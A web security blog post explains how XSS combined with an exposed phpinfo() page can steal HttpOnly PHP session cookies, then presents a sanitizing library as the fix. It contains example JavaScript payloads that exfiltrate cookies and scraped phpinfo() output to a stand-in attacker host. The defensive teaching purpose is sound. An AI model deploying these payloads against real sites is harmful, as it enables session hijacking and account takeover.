Stealing session ids from phpinfo() output has been a known technique for some time, and is used to bypass the HttpOnly attribute, which prohibits JavaScript from accessing a cookie marked as such (e.g. PHPSESSID). I just now thought of a solution that allows you to keep your phpinfo(): we'll simply censor the sensitive data, making phpinfo() lose some of its value to the attacker.

A typical web application login looks like this: you enter your name and password, submit the form, the application verifies the login data and stores the information that you are logged in to the so-called session. It then sends a cookie to your browser with a session id that identifies your “box” of session data. No one else will intentionally get your session id, because if they did, they would then be logged into your account, which would be highly undesirable.

Session hijacking

And this is where the bad guys come in: they are trying to get the session identifier from you, undetected, to get into your session and basically impersonate you, to hijack your session (that's why it's called “session hijacking”). One such classic way to steal a session id is through a Cross-Site Scripting (XSS) attack, where the attacker somehow inserts JavaScript into the page, either directly or by inserting an external file that will contain the malicious code. The inserted code might look like this:

new Image().src = 'https://attack.example/?cookie=' + encodeURIComponent(document.cookie);

When the visitor comes to the page, their browser sees the JavaScript, creates an object of type Image and wants to load the image from the specified address. The cookie parameter contains all cookies that JavaScript currently has access to, i.e. those that are stored for the current page (as set by the Domain, Path, etc. attributes) and do not have the HttpOnly flag set, safely encoded for transmission in the URL.

An attacker can then view the attack.example server access log, where they can see a request for e.g. /?cookie=PHPSESSID%3D68516bed29d47527b8b23bd7dec20f19, then retrieves the session id from it, loads the page from which they stole the session id in the browser, opens developer tools and adds or changes the PHPSESSID cookie, then reloads the page and suddenly the attacker is logged in as a user of the poor victim in the same session.

HttpOnly attribute

If the cookie has the HttpOnly attribute, then JavaScript can't read it and the code above can't steal it. You can test this on virtually any website: in your browser in the developer tools, find a cookie with the HttpOnly attribute in the Application (Chrome) or Storage (Firefox) tab, and in the console, which you can open directly by hitting the Escape key, use the document.cookie command to list all cookies as JavaScript sees them – cookies with HttpOnly will not be there.

Cookie with HttpOnly attribute is not visible in document.cookie

A cookie with a session id, usually named PHPSESSID in PHP applications, often has the HttpOnly attribute set. However, it is not set in the default PHP configuration and needs to be done manually, e.g. by

ini_set('session.cookie_httponly', true);

Bypassing HttpOnly with phpinfo()

So bad luck, unless… unless the output from phpinfo(), a PHP function that lists everything about the PHP currently in use, is displayed somewhere on the site. Usually, it is at /info.php or /phpinfo.php, sometimes it's behind login in admin for example, which is the better and recommended option, but the authentication alone won't solve the problem described here. I've also mentioned phpinfo() in the article about Full Path Disclosure, because in addition to PHP configuration and extension information, it also displays the path to files, which can be useful to attackers.

phpinfo()

A typical phpinfo() output

However, the output from phpinfo() also lists the values of cookies that the browser sent during the request, including those with HttpOnly, because such cookies are normally transmitted over the network and the server receives them as part of the request. So the session id value will also be listed, at least on a line with e.g. $_COOKIE['PHPSESSID'], but depending on the PHP version and configuration it can be more than that.

Session id in phpinfo() in $_REQUEST, $_COOKIE and $_SERVER arrays

An attacker can take advantage of this: instead of stealing the session id by JavaScript directly from the browser using document.cookie, they send a JavaScript request to e.g. /phpinfo.php, pick only the interesting part of the response, which they then append to the following request they send to a server under the attacker's control. This can be done by, for example, the following code, which will be inserted somewhere in the pages on https://app.example/ instead of the above mentioned new Image().src …:

fetch('https://app.example/info.php')
  .then(response => response.text())
  .then(text => {
    cookie = text.match(/_COOKIE.{1,2000}/)[0];
    fetch('https://attack.example/?cookie=' + encodeURIComponent(cookie));
  });

On the first line we send a request to /info.php, the second and third lines ensure that we have the output from phpinfo() in the variable text, from which on the fourth line we pick the string _COOKIE followed by other 2000 characters max, which will certainly, in addition to some HTML, also contain the session id. On the fifth line, we then add this substring to the request sent to attack.example. We don't care about the response anymore, it's enough that the browser sent the request, and then we look at the access log on the server. We could easily send the whole phpinfo(), but there's no need, we're just going after the session id cookie.

If you have some Cross-Site Scripting in your application to allow an attacker to insert any malicious JavaScript, and output from phpinfo(), whether publicly or behind a login, the bad guy can steal the session id even if the cookie with it has the HttpOnly attribute.

Now what?

  1. Don't have XSS on your site
  2. Don't have output from phpinfo() or things like var_dump($_SERVER) etc. in the application, and certainly not publicly

Theory and practice says it's better to expect you'll have some Cross-Site Scripting at some point, so point no. 1 falls. Oh, and the output from phpinfo() is quite a useful thing, so point no. 2 is also often unrealistic.

It wasn't until I wrote a bug report with the title “System Information contains sensitive information like the session id cookie” that I thought of a compromise (pun not intended): we will leave phpinfo() in the admin, but we will censor the important data, nobody looks at it anyway. Another layer of protection could be a requirement to enter your password or a 2FA code every single time you'd like to see the phpinfo() output.

spaze/phpinfo

Some time ago, I created a simple package spaze/phpinfo, which takes the output from phpinfo(), cuts off the HTML header so that the output can be inserted into some custom admin design etc. and replaces inline CSS style="…" with class="…". I've now added sanitization to this class, which by default replaces the session id value with asterisks.

The usage is as simple as calling phpinfo():

$info = new PhpInfo();
echo $info->getHtml();

The core of the whole miracle is basically this code:

ob_start();
phpinfo();
$info = ob_get_clean();
echo str_replace(session_id(), '*****', $info);

However, you can add custom sanitization of other values such as persistent login cookies and more, and you can choose your own “asterisks”:

// $loginToken = e.g. getLoginTokenValue();
$info = new PhpInfo();
$info->addSanitization($loginToken, 'thanks but no thanks');
echo $info->getHtml();

On my own site, this is all handled by the SanitizedPhpInfo class (well tested), and the result looks like this:

phpinfo() with masked values in v $_COOKIE[‘PHPSESSID’] a $_SERVER[‘HTTP_COOKIE’]

Setec Astronomy is an anagram for “too many secrets”

Instead of just calling phpinfo(), use spaze/phpinfo. I also added the phpinfo() function to spaze/phpstan-disallowed-calls, which is an extension for PHPStan that looks for dangerous functions and more in your code.

Device Bound Session Credentials

Cookie theft may soon be a thing of the past, as Chrome is experimenting with something they call Device Bound Session Credentials. This should ensure that the session is tied to a specific device, using public and private keys and a TPM to store them. It should also work as a sort of extension of classic sessions, it shouldn't require some brutal changes to everything.

A prototype of this solution already protects some Google Account users running Chrome Beta and by the end of 2024 the Device Bound Session Credentials should be available to the public and other sites as Origin Trials.

Michal Špaček

Michal Špaček

I build web applications and I'm into web application security. I like to speak about secure development. My mission is to teach web developers how to build secure and fast web applications and why.

Public trainings

Come to my public trainings, everybody's welcome: